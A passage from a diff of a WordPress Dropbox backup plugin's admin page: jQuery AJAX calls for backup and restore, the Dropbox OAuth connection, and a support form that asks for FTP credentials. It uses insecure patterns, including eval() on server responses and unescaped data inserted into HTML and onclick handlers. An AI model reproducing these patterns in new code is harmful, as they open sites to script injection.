89
+ jQuery('.title-status').html("<?php langWPADM::get('Local Backup wasn\'t created'); ?>");
90
+ }
91
+ showData(data);
92
+ jQuery('.table').css('display', 'table');
93
+
94
+ },
95
+ error: function(jqXHR, textStatus, errorThrown){
96
+ processStop();
97
+ AjaxAlert(jqXHR, textStatus, errorThrown);
98
+ },
99
+ dataType: 'json'
100
+ });
101
+ }
102
+ function AjaxAlert(jqXHR, textStatus, errorThrown)
103
+ {
104
+ var msg = 'Website "' + home_url + '" returned an error during operation with return:<br /><br /> <span style="font-size:13px; font-style: italic;">code: ' + jqXHR.status + ', text status: ' + textStatus + ', text: ' + errorThrown + "</span>";
105
+ jQuery("#ajax-message").html(msg);
106
+ jQuery("#msg_ajax").val(msg);
107
+ jQuery('#ajax-alert').arcticmodal({
108
+ beforeOpen: function(data, el) {
109
+ jQuery('#ajax-alert').css('display','block');
110
+ },
111
+ afterClose: function(data, el) {
112
+ jQuery('#ajax-alert').css('display','none');
113
+ }
114
+ });
115
+ }
116
+
117
+ var auth_param = <?php echo isset($dropbox_options['app_key']) && isset($dropbox_options['app_secret']) && isset($dropbox_options['uid']) && $dropbox_options['uid'] != '' ? 'false' : 'true' ?>;
118
+ function start_dropbox_backup()
119
+ {
120
+ if (auth_param === false) {
121
+ d = new Date();
122
+ process_flag = 0;
123
+ var data_backup = {
124
+ 'action': 'wpadm_dropbox_create',
125
+ 'time': Math.ceil( (d.getTime() + (-d.getTimezoneOffset() * 60000 ) ) / 1000 ),
126
+ };
127
+ jQuery("#logs-form").show("slow");
128
+ jQuery("#action-buttons").css('margin-top', '8px');
129
+ jQuery("#support-button").css('margin-top', '8px');
130
+ jQuery("#log-backup").html('');
131
+ jQuery(".title-logs").css('display', 'block');
132
+ jQuery(".title-status").css('display', 'none');
133
+ jQuery.ajax({
134
+ type: "POST",
135
+ url: ajaxurl,
136
+ data: data_backup,
137
+ beforeSend: function(){
138
+ process_flag = 1
139
+ processBar();
140
+ showTime();
141
+
142
+ },
143
+ success: function(data){
144
+ process_flag = 0;
145
+ if (data.result == 'success') {
146
+ jQuery('.title-logs').css('display', 'none');
147
+ jQuery('.title-status').css({'display':'block', 'color':'green'});
148
+ jQuery('.title-status').html('<?php langWPADM::get('Dropbox Backup was created successfully'); ?>');
149
+ } else {
150
+ jQuery('.title-logs').css('display', 'none');
151
+ jQuery('.title-status').css({'display':'block', 'color':'red'});
152
+ jQuery('.title-status').html("<?php langWPADM::get('Dropbox Backup wasn\'t created. '); ?>" + data.error);
153
+ }
154
+ showData(data);
155
+ jQuery('.table').css('display', 'table');
156
+
157
+ },
158
+ error: function(jqXHR, textStatus, errorThrown) {
159
+ processStop();
160
+ AjaxAlert(jqXHR, textStatus, errorThrown);
161
+ },
162
+ dataType: 'json'
163
+ });
164
+ } else {
165
+ jQuery('#is-dropbox-auth').arcticmodal({
166
+ beforeOpen: function(data, el) {
167
+ jQuery('#is-dropbox-auth').css('display','block');
168
+
169
+ },
170
+ afterClose: function(data, el) {
171
+ jQuery('#is-dropbox-auth').css('display','none');
172
+ showSetting(false);
173
+ blick('app_key', 4);
174
+ blick('app_secret', 4);
175
+ }
176
+ });
177
+ }
178
+ }
179
+ function showData(data)
180
+ {
181
+ size_backup = data.size / 1024 / 1024;
182
+ if (data.size != 0 || data.result != 'error') {
183
+ var img_table =
184
+ '<img src="<?php echo plugin_dir_url(__FILE__) . "ok.png" ;?>" title="Successful" alt="Successful" style="float: left; width: 20px; height: 20px;" />' +
185
+ '<div style="margin-top :1px;float: left;"><?php echo langWPADM::get('Successful', false);?></div>';
186
+ name_backup = data.name;
187
+ } else {
188
+ var img_table =
189
+ '<img src="<?php echo plugin_dir_url(__FILE__) . "not-ok.png" ;?>" title="fail" alt="fail" style="float: left; width: 20px; height: 20px;" />' +
190
+ '<div style="margin-top :1px;float: left;"><?php echo langWPADM::get('Fail', false);?>&nbsp;&nbsp;(<a style="text-decoration:underline;"><?php echo langWPADM::get('Show Details', false);?></a>)</div>';
191
+ name_backup = '<?php echo langWPADM::get('Not available', false);?>';
192
+ }
193
+ info = "";
194
+ if (data.data) {
195
+ for(i = 0; i < data.data.length; i++) {
196
+ e = data.data[i].split('/');
197
+ info += '<tr style="border: 0;">' +
198
+ '<td style="border: 0;padding: 0px;"><a href="<?php echo content_url(DROPBOX_BACKUP_DIR_NAME) . '/'; ?>' + data.name + '/' + e[e.length - 1] + '">' + e[e.length - 1] + '</td>' +
199
+ '</tr>' ;
200
+ }
201
+
202
+ co = jQuery('.number-backup').length + 1;
203
+ jQuery('.table > tbody:last').after(
204
+ '<tr>'+
205
+ '<td class="number-backup" onclick="shows(\'' + data.md5_data + '\', this)">' +
206
+ co +
207
+ '</td>' +
208
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)" style="text-align: left; padding-left: 7px;" >' +
209
+ data.time +
210
+ '</td>' +
211
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
212
+ name_backup +
213
+ '</td>' +
214
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\',this)">' +
215
+ data.counts +
216
+ '</td>' +
217
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
218
+ img_table +
219
+ '</td>' +
220
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
221
+ data.type + ' <?php langWPADM::get('backup')?>' +
222
+ '</td>' +
223
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
224
+ size_backup.toFixed(2) + "<?php langWPADM::get('Mb')?>" +
225
+ '</td>' +
226
+ '<td>' +
227
+ '<a href="javascript:void(0)" class="button-wpadm" title="<?php langWPADM::get('Restore')?>" onclick="show_recovery_form(\'' + data.type + '\', \'' + data.name + '\')"><span class="pointer dashicons dashicons-backup"></span><?php langWPADM::get('Restore')?></a> &nbsp;' +
228
+ '<a href="javascript:void(0)" class="button-wpadm" title="<?php langWPADM::get('Delete')?>" onclick="delete_backup(\'' + data.name + '\', \'' + data.type + '\')"><span class="pointer dashicons dashicons-trash"></span><?php langWPADM::get('Delete')?></a> &nbsp;' +
229
+ '</td>' +
230
+ '</tr>'+
231
+ '<tr id="' + data.md5_data + '" style="display: none;">'+
232
+ '<td colspan="2">' +
233
+ '</td>' +
234
+ '<td align="center" style="padding: 0px; width: 350px;">' +
235
+ '<div style="overflow: auto; max-height: 150px;">' +
236
+ '<table border="0" align="center" style="width: 100%;" class="info-path">' +
237
+ info +
238
+ '</table>' +
239
+ '</div>' +
240
+ '</td>' +
241
+ '<td colspan="6"></td>' +
242
+ '</tr>')
243
+ }
244
+ }
245
+ var logs = [];
246
+ function processBar()
247
+ {
248
+ var data_log = {
249
+ 'action': 'wpadm_logs',
250
+ };
251
+ jQuery.ajax({
252
+ type: "POST",
253
+ url: ajaxurl,
254
+ data: data_log,
255
+ success: function(response){
256
+ eval("var data=" + response);
257
+ for(s in data.log) {
258
+ if (jQuery.inArray(s , logs) == -1) {
259
+ l = jQuery("#log-backup").html();
260
+ l = "<div>" + data.log[s] + "</div>" + l;
261
+ jQuery("#log-backup").html(l);
262
+ }
263
+ }
264
+ if (process_flag == 1) {
265
+ setTimeout('processBar()', 3000);
266
+ }
267
+ },
268
+ error: function(jqXHR, textStatus, errorThrown){
269
+ processStop();
270
+ AjaxAlert(jqXHR, textStatus, errorThrown);
271
+ },
272
+ });
273
+ }
274
+
275
+ function showTime(t)
276
+ {
277
+ if (process_flag == 1) {
278
+ if ( (typeof t) == 'undefined') {
279
+ t = 1;
280
+ } else {
281
+ t = t + 1;
282
+ }
283
+ time = t + " <?php langWPADM::get('sec.'); ?>";
284
+ jQuery("#time_backup").html(time);
285
+ setTimeout(function() { showTime(t) }, 1000);
286
+ }
287
+ }
288
+ function processStop()
289
+ {
290
+ process_flag = 0;
291
+ }
292
+ function delete_backup(backup, type)
293
+ {
294
+ document.delete_backups.backup_name.value = backup;
295
+ document.delete_backups.backup_type.value = type;
296
+ document.delete_backups.submit();
297
+ }
298
+ function create_backup (type) {
299
+ if (type == 'auth') {
300
+ document.form_auth_backup_create.submit();
301
+ }
302
+ }
303
+ function show_recovery_form(type, name)
304
+ {
305
+ var act = '';
306
+ if (type == 'local') {
307
+ act = 'wpadm_local_restore';
308
+ } else {
309
+ act = 'wpadm_restore_dropbox';
310
+ }
311
+ var data_backup = {
312
+ 'action': act,
313
+ 'name': name,
314
+ };
315
+ jQuery("#log-backup").html('');
316
+ jQuery("#action-buttons").css('margin-top', '8px');
317
+ jQuery("#support-button").css('margin-top', '8px');
318
+ jQuery(".title-logs").css('display', 'block');
319
+ jQuery(".title-status").css('display', 'none');
320
+ jQuery("#logs-form").show("slow");
321
+ jQuery("#action-buttons").css('margin-top', '8px');
322
+ jQuery.ajax({
323
+ type: "POST",
324
+ url: ajaxurl,
325
+ data: data_backup,
326
+ beforeSend: function(){
327
+ process_flag = 1
328
+ processBar();
329
+ showTime();
330
+
331
+ },
332
+ success: function(data){
333
+ process_flag = 0;
334
+ if (data.result == 'success') {
335
+ jQuery('.title-logs').css('display', 'none');
336
+ jQuery('.title-status').css({'display':'block', 'color':'green'});
337
+ if (type == 'local') {
338
+ str = '<?php langWPADM::get('Local Backup (%s) was restored successfully'); ?>';
339
+ str = str.replace('%s', name);
340
+ jQuery('.title-status').html(str);
341
+ } else {
342
+ str = '<?php langWPADM::get('Dropbox Backup (%s) was restored successfully'); ?>';
343
+ str = str.replace('%s', name);
344
+ jQuery('.title-status').html(str);
345
+ }
346
+ } else {
347
+ jQuery('.title-logs').css('display', 'none');
348
+ jQuery('.title-status').css({'display':'block', 'color':'red'});
349
+ if (type == 'local') {
350
+ str = "<?php langWPADM::get('Local Backup (%s) wasn\'t restored'); ?>";
351
+ str = str.replace("%s", name) ;
352
+ jQuery('.title-status').html(str);
353
+ } else {
354
+ str = "<?php langWPADM::get('Dropbox Backup (%s) wasn\'t restored'); ?>";
355
+ str = str.replace('%s', name);
356
+ jQuery('.title-status').html(str);
357
+ }
358
+ }
359
+ },
360
+ error: function(jqXHR, textStatus, errorThrown) {
361
+ processStop();
362
+ AjaxAlert(jqXHR, textStatus, errorThrown);
363
+ },
364
+ dataType: 'json'
365
+ });
366
+
367
+ }
368
+ function auth_form(t)
369
+ {
370
+ var button = jQuery(t);
371
+ var form = button.closest('form');
372
+ var data = {};
373
+
374
+ var reg = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,6})+$/;
375
+ mail = document.auth.username.value;
376
+ send = false;
377
+ if (!reg.test(mail)) {
378
+ document.auth.username.style.border = "2px solid red";
379
+ } else {
380
+ document.auth.username.style.border = "1px solid #5b9dd9";
381
+ if(document.auth.password.value.length == 0) {
382
+ document.auth.password.style.border = "2px solid red";
383
+ } else {
384
+ send = true;
385
+ document.auth.password.style.border = "1px solid #5b9dd9";
386
+ }
387
+ }
388
+ if(send) {
389
+ form.find('#message-form').css('display', 'none');
390
+ data['password'] = document.auth.password.value;
391
+ data['username'] = document.auth.username.value;
392
+ data['plugin'] = document.auth.plugin.value;
393
+ backup = jQuery("#name_backup_restore").val();
394
+ jQuery.ajax({
395
+ url: form.attr('action'),
396
+ data: data,
397
+ type: 'POST',
398
+ dataType: 'json',
399
+ success: function(data_res) {
400
+ if( !data_res){
401
+ alert('error');
402
+ } else if(data_res.error) {
403
+ if(form.find('#message-form').length) {
404
+ form.find('#message-form').html("");
405
+ form.find('#message-form').css('display', 'block');
406
+ form.find('#message-form').css('margin', '0');
407
+ form.find('#message-form').css('margin-top', '6px');
408
+ form.find('#message-form').html(data_res.error);
409
+ }
410
+ } else if(data_res.url) {
411
+
412
+ jQuery.ajax({
413
+ url: ajaxurl,
414
+ data: {'action' : 'set_user_mail', 'email' : document.auth.username.value},
415
+ type: 'POST',
416
+ dataType: 'json',
417
+ success: function(res) {
418
+
419
+ }
420
+ });
421
+ form.attr('action', data_res.url);
422
+ document.auth.submit();
423
+ //location.reload();
424
+ }
425
+ },
426
+ error: function ( jqXHR, textStatus, errorThrown ) {
427
+ AjaxAlert(jqXHR, textStatus, errorThrown);
428
+ }
429
+
430
+ });
431
+ }
432
+ }
433
+ function disconnectDropbox()
434
+ {
435
+ var form = jQuery('form#dropbox_form');
436
+ form.find('#oauth_token_secret').val('');
437
+ form.find('#oauth_token').val('');
438
+ form.find('#uid').val('');
439
+ form.find('#dropbox_uid_text').text('');
440
+ form.find('.disconnect_btn').parents('.form_block_input').removeClass('connected');
441
+ }
442
+
443
+ var winParams = "left=0,top=0,height=600,width=1000,menubar=no,location=no,resizable=yes,scrollbars=yes,status=yes,toolbar=no,directories=no"
444
+ var dropboxBut, dropboxWin;
445
+ function connectDropbox(button, href, oauth_token_secret, oauth_token, uid){
446
+ if( button && href ){
447
+ dropboxBut = jQuery(button);
448
+ var form = dropboxBut.parents('form');
449
+ var url = href;
450
+
451
+ // if (jQuery.trim(jQuery('#app_key').val()) != '' || jQuery.trim(jQuery('#app_secret').val()) != '') {
452
+ url += '&app_key='+jQuery('#app_key').val();
453
+ url += '&app_secret='+jQuery('#app_secret').val();
454
+ // }
455
+
456
+ dropboxWin = window.open(url, "Dropbox", winParams);
457
+ if( dropboxWin ){
458
+ dropboxWin.focus();
459
+ }else{
460
+ alert('<?php langWPADM::get('Please, permit the pop-up windows.'); ?>');
461
+ }
462
+ }else{
463
+ var form = dropboxBut.parents('form');
464
+ if( dropboxWin ){
465
+ dropboxWin.close();
466
+ }
467
+ form.find('#oauth_token_secret').val(oauth_token_secret);
468
+ form.find('#oauth_token').val(oauth_token);
469
+ form.find('#uid').val(uid);
470
+ auth_param = false;
471
+ form.find('#dropbox_uid_text').html('<?php echo langWPADM::get('Dropbox successfully connected:', false)?> UID ' + uid);
472
+ blick_form = false;
473
+ dropboxBut.parents('.form_block_input').addClass('connected');
474
+ }
475
+ }
476
+ function getHelperDropbox()
477
+ {
478
+ jQuery('#helper-keys').arcticmodal({
479
+ beforeOpen: function(data, el) {
480
+ jQuery('#helper-keys').css('display','block');
481
+ },
482
+ afterClose: function(data, el) {
483
+ jQuery('#helper-keys').css('display','none');
484
+ }
485
+ });
486
+ }
487
+
488
+ function setReadOnly(id)
489
+ {
490
+ r = jQuery('#' + id).attr('readonly');
491
+ if (r == 'readonly') {
492
+ jQuery('#' + id).prop('readonly', false);
493
+ } else {
494
+ jQuery('#' + id).prop('readonly', true);
495
+
496
+ }
497
+ }
498
+ function InludesSetting()
499
+ {
500
+ disp = jQuery('#inludes-setting').css('display');
501
+ if (disp == 'none') {
502
+ showLoadingImg(true);
503
+ getIncludesData();
504
+ jQuery('#inludes-setting').show("slow");
505
+ } else {
506
+ jQuery('.show-includes').html("");
507
+ jQuery('#inludes-setting').hide("slow");
508
+ }
509
+ }
510
+ var level_tree = {};
511
+ function getIncludesData(type, dir_)
512
+ {
513
+ data = {'action' : 'getDirsIncludes'};
514
+ if (type != 'undefined') {
515
+ data['files'] = type
516
+ }
517
+ if ( ( typeof dir_ ) != 'undefined') {
518
+ data['path'] = dir_.path;
519
+ }
520
+ jQuery.ajax({
521
+ url: ajaxurl,
522
+ data: data,
523
+ type: 'POST',
524
+ dataType: 'json',
525
+ success: function(data_res) {
526
+ showLoadingImg(false);
527
+ if ((typeof dir_) != 'undefined') {
528
+ jQuery('#img_load_' + dir_.cache).css('display', 'none');
529
+ }
530
+ if (data.path) {
531
+ showIncludesData(data_res.dir, dir_.id);
532
+ } else {
533
+ if (data_res.dir) {
534
+ showIncludesData(data_res.dir);
535
+ }
536
+ }
537
+ level_tree[level_tree.length] = data_res.dir;
538
+ },
539
+ error: function(jqXHR, textStatus, errorThrown) {
540
+ AjaxAlert(jqXHR, textStatus, errorThrown);
541
+ }
542
+ });
543
+ }
544
+ function loadInludes(path, cache, t, lvl)
545
+ {
546
+ if (t.checked) {
547
+ showLoadingImg(true);
548
+ jQuery('#include_' + cache).html('');
549
+ jQuery('#img_load_' + cache).css({'display':'inline'});
550
+ getIncludesData('undefined', {'path' : path, 'id' : 'include_' + cache, 'cache' : cache });
551
+ jQuery('#include_' + cache).show('slow');
552
+ } else {
553
+ in_id = jQuery(t).attr('id')
554
+ if (jQuery('#include_' + in_id).length > 0) {
555
+ jQuery('#include_' + in_id).hide('slow');
556
+ }
557
+ }
558
+ }
559
+ function showIncludesData(data, id)
560
+ {
561
+ html = "";
562
+ if ( ( typeof data ) != 'undefined' ) {
563
+ if (data.length > 0) {
564
+ for(i = 0; i < data.length; i++) {
565
+ if (data[i].check) {
566
+ check = 'checked="checked"' ;
567
+ send_checked[send_checked.length] = data[i].check_folder;
568
+ } else {
569
+ check = '';
570
+ }
571
+ html += '<div id="inc_' + data[i].cache + '" data-value="' + data[i].cache + '">' +
572
+ '<input type="checkbox" ' + check + ' class="checkbox-send" value="' + data[i].folder + '" name="folder-include" id="send-to-' + data[i].cache + '" onclick="connectFolder(this)" />' +
573
+ '<input type="checkbox" class="input-folder" value="/' + data[i].dir + '" id="' + data[i].cache + '" onclick="loadInludes(\'/' + data[i].folder + '\', \'' + data[i].cache +'\', this, \'' + level_tree.length + '\')" />' +
574
+ '<label for="' + data[i].cache + '">' + data[i].dir + ' <span style="font-size:10px;">(' + data[i].perm + ')</span>' + '</label>' +
575
+ '<div id="img_load_' + data[i].cache + '" style="display:none; margin-left:10px;position:relative;">' +
576
+ '<img style="position:absolute;bottom:0;" src="<?php echo plugins_url('/img/folder-loader.gif', dirname(__FILE__) ); ?>" alt="load" title="load" >' +
577
+ '</div>'+
578
+ '<div class="tree-includes" id="include_' + data[i].cache + '">' +
579
+ '</div>' +
580
+ '</div>';
581
+ }
582
+ if (jQuery("#" + id).length > 0) {
583
+ jQuery("#" + id).html(html);
584
+ } else {
585
+ jQuery('.show-includes').html(html);
586
+ }
587
+ }
588
+ }
589
+ }
590
+
591
+ function saveIncludes()
592
+ {
593
+ data = {'action' : 'saveDirsIncludes', 'save' : 1, 'data' : send_checked}
594
+ if (send_checked.length > 0) {
595
+ showLoadingImg(true);
596
+ jQuery.ajax({
597
+ url: ajaxurl,
598
+ data: data,
599
+ type: 'POST',
600
+ dataType: 'json',
601
+ success: function(data_res) {
602
+ showLoadingImg(false);
603
+
604
+ },
605
+ error: function (jqXHR, textStatus, errorThrown) {
606
+ AjaxAlert(jqXHR, textStatus, errorThrown);
607
+ }
608
+ });
609
+ }
610
+ }
611
+ function saveSetting()
612
+ {
613
+ is_admin = 0;
614
+ if(document.getElementById('is_admin').checked) {
615
+ is_admin = 1;
616
+ }
617
+
618
+ data = {'action' : 'saveSetting', 'is_admin' : is_admin}
619
+ jQuery.ajax({
620
+ url: ajaxurl,
621
+ data: data,
622
+ type: 'POST',
623
+ dataType: 'json',
624
+ success: function(data_res) {
625
+ },
626
+ error: function( jqXHR, textStatus, errorThrown ){
627
+ AjaxAlert(jqXHR, textStatus, errorThrown);
628
+ }
629
+ });
630
+ }
631
+ var app_key = app_secret = '';
632
+ function showApp()
633
+ {
634
+ disp = jQuery('#dropbox-app-key').css('display');
635
+ if (disp == 'none') {
636
+ jQuery('#dropbox-app-key').show('slow');
637
+ jQuery('#help-key-pass').show('slow');
638
+ jQuery('#dropbox-app-secret').show('slow');
639
+ jQuery('#app_secret').val(app_secret);
640
+ jQuery('#app_key').val(app_key);
641
+ jQuery('.stat-table-registr').css('margin-bottom', '25px');
642
+ } else {
643
+ jQuery('#dropbox-app-key').hide('slow');
644
+ jQuery('#help-key-pass').hide('slow');
645
+ jQuery('#dropbox-app-secret').hide('slow');
646
+ app_key = jQuery('#app_key').val();
647
+ app_secret = jQuery('#app_secret').val()
648
+ jQuery('#app_secret').val('');
649
+ jQuery('#app_key').val('');
650
+ jQuery('.stat-table-registr').css('margin-bottom', '0px');
651
+ }
652
+ }
653
+ function showFormAjax()
654
+ {
655
+ //form-ajax-ftp-email
656
+ disp = jQuery('#form-ajax-ftp-email').css('display');
657
+ if (disp == 'none') {
658
+ jQuery('#form-ajax-ftp-email').show('slow');
659
+ } else {
660
+ jQuery('#form-ajax-ftp-email').hide('slow');
661
+ }
662
+ }
663
+ </script>
664
+ <?php if (!empty($error)) {
665
+ echo '<div class="error" style="text-align: center; color: red; font-weight:bold;">
666
+ <p style="font-size: 16px;">
667
+ ' . $error . '
668
+ </p></div>';
669
+ }?>
670
+ <?php if (!empty($msg)) {
671
+ echo '<div class="updated" style="text-align: center; font-weight:bold;">
672
+ <p style="font-size: 16px;">
673
+ ' . $msg . '
674
+ </p></div>';
675
+ }?>
676
+ <div id="is-dropbox-auth" style="display: none; width: 380px; text-align: center; background: #fff; border: 2px solid #dde4ff; border-radius: 5px;">
677
+ <div class="title-description" style="font-size: 20px; text-align: center;padding-top:45px; line-height: 30px;">
678
+ <?php langWPADM::get('Please, add your Dropbox credentials:'); ?><br />
679
+ <strong><?php langWPADM::get('"App key"'); ?></strong> & <strong><?php langWPADM::get('"App secret"'); ?></strong> <br />
680
+ <?php langWPADM::get('in the Setting Form'); ?>
681
+ </div>
682
+ <div class="button-description" style="padding:20px 0;padding-top:45px">
683
+ <input type="button" value="<?php langWPADM::get('OK'); ?>" onclick="jQuery('#is-dropbox-auth').arcticmodal('close');" style="text-align: center; width: 100px;" class="button-wpadm">
684
+ </div>
685
+ </div>
686
+ <?php
687
+ if (isset($sent_response)) {
688
+ ?>
689
+ <script>
690
+ jQuery(document).ready(function() {
691
+ jQuery('#sent-error-report').arcticmodal({
692
+ beforeOpen: function(data, el) {
693
+ jQuery('#sent-error-report').css('display','block');
694
+ },
695
+ afterClose: function(data, el) {
696
+ jQuery('#sent-error-report').css('display','none');
697
+ }
698
+ });
699
+ })
700
+ </script>
701
+ <div id="sent-error-report" style="display: none;" >
702
+ <div class="text-view">
703
+ <?php echo $sent_response ;?>
704
+ </div>
705
+ <div class="button-sent-report">
706
+ <input type="button" class="button-wpadm" value="<?php langWPADM::get('OK'); ?>" onclick="jQuery('#sent-error-report').arcticmodal('close')" />
707
+ </div>
708
+ </div>
709
+ <?php
710
+ }
711
+ ?>
712
+ <div id="ajax-alert" style="display: none;width: 800px; text-align: center; background: #fff; border: 2px solid #dde4ff; border-radius: 5px;">
713
+ <div id="ajax-message" style="font-size: 15px; margin-top: 10px; margin-bottom: 30px;"></div>
714
+ <div style="font-size: 15px; margin-bottom: 30px;"><?php langWPADM::get('To solve this problem, we need to access the system logs of your hosting/server and/or from your backup, <br />that you tried to create or simply send to us your FTP access data.');?></div>
715
+
716
+ <form action="<?php echo admin_url( 'admin-post.php?action=error_logs_check' )?>" method="post" style=" text-align: left; margin-left:110px;margin-bottom:20px;">
717
+ <div style="margin-top: 10px; font-size: 16px; font-weight: bold; margin-bottom: 10px;">
718
+ <input type="checkbox" onclick="showFormAjax();" style="margin: 0;" id="show-form-ajax" /> <label for="show-form-ajax"><?php langWPADM::get('I want to provide your FTP access to resolve this issue quickly:');?></label>
719
+ </div>
720
+ <div id="form-ajax-ftp-email" style="display: none;">
721
+ <div class="form-help-send-error" >
722
+ <div style="margin-top: 3px;">
723
+ <div class="label-help" style="">
724
+ <label for="ftp-host"><?php langWPADM::get('FTP Host'); ?></label>
725
+ </div>
726
+ <div style="float:left; ">
727
+ <input type="text" id="ftp-host" value="<?php echo str_ireplace(array('http://', 'https://'), '', home_url()) ;?>" name="ftp_host" >
728
+ </div>
729
+ </div>
730
+ <div class="clear"></div>
731
+ <div style="margin-top: 3px;">
732
+ <div class="label-help" >
733
+ <label for="ftp-user"><?php langWPADM::get('FTP User'); ?></label>
734
+ </div>
735
+ <div style="float:left; ">
736
+ <input type="text" id="ftp-user" value="" name="ftp_user">
737
+ </div>
738
+ </div>
739
+ <div class="clear"></div>
740
+ <div style="margin-top: 3px;">
741
+ <div class="label-help" >
742
+ <label for="ftp-pass"><?php langWPADM::get('FTP Password'); ?></label>
743
+ </div>
744
+ <div style="float:left; ">
745
+ <input type="text" id="ftp-pass" value="" name="ftp_pass">
746
+ </div>
747
+ </div>
748
+ <div class="clear"></div>
749
+
750
+ </div>
751
+ <div class="form-help-mail-response">
752
+ <div style="padding: 20px; border:1px solid #fff; margin-top: 3px;">
753
+ <div class="label-help" >
754
+ <label for="email-resp"><?php langWPADM::get('Response Email:'); ?></label>
755
+ </div>
756
+ <div style=" ">
757
+ <input type="text" id="email-resp" value="<?php echo get_option('admin_email');?>" style="padding-left:3px;" name="mail_response">
758
+ </div>
759
+ </div>
760
+ </div>
761
+ </div>
762
+ <div class="clear"></div>
763
+ <div style="text-align: left; margin-left: 100px; margin-top: 10px;">
764
+ <input value="<?php echo $time_log; ?>" type="hidden" name="time_pars">
765
+ <input value="" type="hidden" name="msg_ajax" id="msg_ajax">
766
+ </div>
767
+ <div class="ajax-button" style="margin-bottom: 10px;">
768
+ <input type="submit" class="button-wpadm" value="<?php langWPADM::get('SEND TO SUPPORT and close this window'); ?>" />&nbsp;&nbsp;&nbsp;
769
+ <input type="button" class="button-wpadm" onclick="jQuery('#ajax-message').arcticmodal('close')" value="<?php langWPADM::get('Close this window WITHOUT SENDING TO SUPPORT'); ?>" />
770
+ </div>
771
+ </form>
772
+ </div>
773
+ <div id="helper-keys" style="display: none;width: 400px; text-align: center; background: #fff; border: 2px solid #dde4ff; border-radius: 5px;">
774
+ <div class="title-description" style="font-size: 20px; text-align: center;padding-top:20px; line-height: 30px;">
775
+ <?php langWPADM::get('Where can I find my app key and secret?'); ?>
776
+ </div>
777
+ <div class="button-description" style="padding:20px 10px;padding-top:20px; text-align: left;">
778
+ <?php langWPADM::get('You can get an API app key and secret by creating an app on the'); ?>
779
+ <a href="https://www.dropbox.com/developers/apps/create?app_type_checked=api" target="_blank"><?php langWPADM::get('app creation page'); ?></a>.
780
+ <?php langWPADM::get('Once you have an app created, the app key and secret will be available on the app\'s page on the'); ?>
781
+ <a href="https://www.dropbox.com/developers/apps" target="_blank"><?php langWPADM::get('App Console'); ?></a>
782
+ . <?php langWPADM::get('Note that Drop-ins have app keys but no app secrets.'); ?>
783
+ </div>
784
+ <div class="button-description" style="padding:20px 0;padding-top:10px">
785
+ <input type="button" value="<?php langWPADM::get('OK'); ?>" onclick="jQuery('#helper-keys').arcticmodal('close');" style="text-align: center; width: 100px;" class="button-wpadm">
786
+ </div>
787
+ </div>
788
+ <div class="block-content" style="margin-top:20px;">
789
+ <div class="inline" style="width: 60%">
790
+ <span style="font-size:16px;">
791
+ <?php langWPADM::get('Use Professional version of "Dropbox backup and restore" plugin and get:') ; ?>
792
+ </span>
793
+ <ul class="list-dropbox-backup-pro">
794
+ <li><img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
795
+ <span class="text">
796
+ <?php langWPADM::get('Automated Dropbox backup (Scheduled backup tasks)') ; ?>
797
+ </span>
798
+ </li>
799
+ <li>
800
+ <img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
801
+ <span class="text">
802
+ <?php langWPADM::get('Automated Local backup (Scheduled backup tasks)') ; ?>
803
+ </span>
804
+ </li>
805
+ <li>
806
+ <img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
807
+ <span class="text">
808
+ <?php langWPADM::get('Backup Status E-Mail Reporting') ; ?>
809
+ </span>
810
+ </li>
811
+ <li>
812
+ <img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
813
+ <span class="text">
814
+ <?php langWPADM::get('Online Service "Backup Website Manager" (Copy, Clone or Migrate of websites)') ; ?>
815
+ </span>
816
+ </li>
817
+ <li>
818
+ <img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
819
+ <span class="text">
820
+ <?php langWPADM::get('One Year Free Updates for PRO version') ; ?>
821
+ </span>
822
+ </li>
823
+ <li>
824
+ <img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
825
+ <span class="text">
826
+ <?php langWPADM::get('One Year Priority support') ; ?>
827
+ </span>
828
+ </li>
829
+ </ul>
830
+ </div>
831
+ <div class="inline-right" style="margin-top: 0;">
832
+ <div class="image-dropbox-pro" onclick="document.dropbox_pro_form.submit();">
833
+ <img src="<?php echo plugins_url('/template/dropbox_pro_logo_box1.png', dirname(__FILE__));?>" title="<?php langWPADM::get('Get PRO version');?>" alt="<?php langWPADM::get('Get PRO version'); ?>">
834
+ </div>
835
+ <div style="margin-top:26%; float: left; margin-left: 20px; margin-right: 15px;">
836
+ <form action="<?php echo WPADM_URL_PRO_VERSION; ?>api/" method="post" id="dropbox_pro_form" name="dropbox_pro_form" >
837
+ <input type="hidden" value="<?php echo home_url();?>" name="site">
838
+ <input type="hidden" value="<?php echo 'proBackupPay'?>" name="actApi">
839
+ <input type="hidden" value="<?php echo get_option('admin_email');?>" name="email">
840
+ <input type="hidden" value="<?php echo 'dropbox-backup';?>" name="plugin">
841
+ <input type="hidden" value="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox&pay=success"); ?>" name="success_url">
842
+ <input type="hidden" value="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox&pay=cancel"); ?>" name="cancel_url">
843
+ <input type="submit" class="backup_button" value="<?php langWPADM::get('Get PRO');?>">
844
+ </form>
845
+ </div>
846
+ </div>
847
+
848
+ <div class="clear"></div>
849
+ </div>
850
+ <div class="block-content" style="margin-top:2px;">
851
+ <div style="min-height : 215px; padding: 5px; padding-top: 10px;">
852
+ <div class="log-dropbox" style="background-image: url(<?php echo plugins_url('/img/dropbox.png', dirname(__FILE__));?>);">
853
+ </div>
854
+ <div style="float: bottom; font-size: 40px; font-weight: bold; text-shadow: 1px 2px 2px #666; margin-left: 189px; line-height: 42px; margin-top: -12px;">
855
